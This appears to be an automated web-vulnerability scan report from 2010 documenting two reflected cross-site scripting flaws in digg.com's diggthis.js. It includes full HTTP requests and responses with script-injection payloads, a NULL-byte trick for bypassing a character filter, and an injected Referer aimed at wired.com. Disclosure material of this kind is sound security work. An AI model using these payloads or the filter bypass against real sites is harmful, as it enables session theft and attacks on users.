Report generated by Hoyt LLC at Sun Nov 21 15:29:01 CST 2010.


The DORK Report

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1. Cross-site scripting (reflected)

1.1. http://digg.com/tools/diggthis.js [REST URL parameter 1]

1.2. http://digg.com/tools/diggthis.js [REST URL parameter 2]



1. Cross-site scripting (reflected)
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://digg.com/tools/diggthis.js [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://digg.com
Path:   /tools/diggthis.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %007fc71"><script>alert(1)</script>f888a9f8a9b was submitted in the REST URL parameter 1. This input was echoed as 7fc71"><script>alert(1)</script>f888a9f8a9b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /tools%007fc71"><script>alert(1)</script>f888a9f8a9b/diggthis.js HTTP/1.1
Accept: */*
Referer: http://www.wired.com/culture/art/multimedia/2008/07/gallery_faves_food?f56a1"><script>alert(1)</script>4b74896c38=1
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Host: digg.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Sun, 21 Nov 2010 20:21:32 GMT
Server: Apache
X-Powered-By: PHP/5.2.9-digg8
Cache-Control: no-cache,no-store,must-revalidate
Pragma: no-cache
Set-Cookie: traffic_control=2233503940199055809%3A136; expires=Tue, 21-Dec-2010 20:21:32 GMT; path=/; domain=digg.com
Set-Cookie: d=cbb3a58acc522768ca90b50d410773b05e71e4a4425c0014e669d73756b805c5; expires=Sat, 21-Nov-2020 06:29:12 GMT; path=/; domain=.digg.com
X-Digg-Time: D=237512 10.2.128.255
Vary: Accept-Encoding
nnCoection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 15352

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Digg - error_ - Profile</title>

<meta name="keywords" content="Digg, pictures, breaking news, entertainment, politics,
...[SNIP]...
<link rel="alternate" type="application/rss+xml" title="Digg" href="/tools%007fc71"><script>alert(1)</script>f888a9f8a9b/diggthis.js.rss">
...[SNIP]...

1.2. http://digg.com/tools/diggthis.js [REST URL parameter 2]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://digg.com
Path:   /tools/diggthis.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00dc217"><script>alert(1)</script>304ac110a42 was submitted in the REST URL parameter 2. This input was echoed as dc217"><script>alert(1)</script>304ac110a42 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /tools/diggthis.js%00dc217"><script>alert(1)</script>304ac110a42 HTTP/1.1
Accept: */*
Referer: http://www.wired.com/culture/art/multimedia/2008/07/gallery_faves_food?f56a1"><script>alert(1)</script>4b74896c38=1
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Host: digg.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Sun, 21 Nov 2010 20:21:34 GMT
Server: Apache
X-Powered-By: PHP/5.2.9-digg8
Cache-Control: no-cache,no-store,must-revalidate
Pragma: no-cache
Set-Cookie: traffic_control=2233503940199055809%3A136; expires=Tue, 21-Dec-2010 20:21:34 GMT; path=/; domain=digg.com
Set-Cookie: d=a4a09480f533f377242f4d345795ad8e3472286938e1ba81d5407416c04060a3; expires=Sat, 21-Nov-2020 06:29:14 GMT; path=/; domain=.digg.com
X-Digg-Time: D=465202 10.2.130.26
Vary: Accept-Encoding
Cneonction: close
Content-Type: text/html;charset=UTF-8
Content-Length: 15351

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Digg - error_ - Profile</title>

<meta name="keywords" content="Digg, pictures, breaking news, entertainment, politics,
...[SNIP]...
<link rel="alternate" type="application/rss+xml" title="Digg" href="/tools/diggthis.js%00dc217"><script>alert(1)</script>304ac110a42.rss">
...[SNIP]...

Report generated by Hoyt LLC at Sun Nov 21 15:29:01 CST 2010.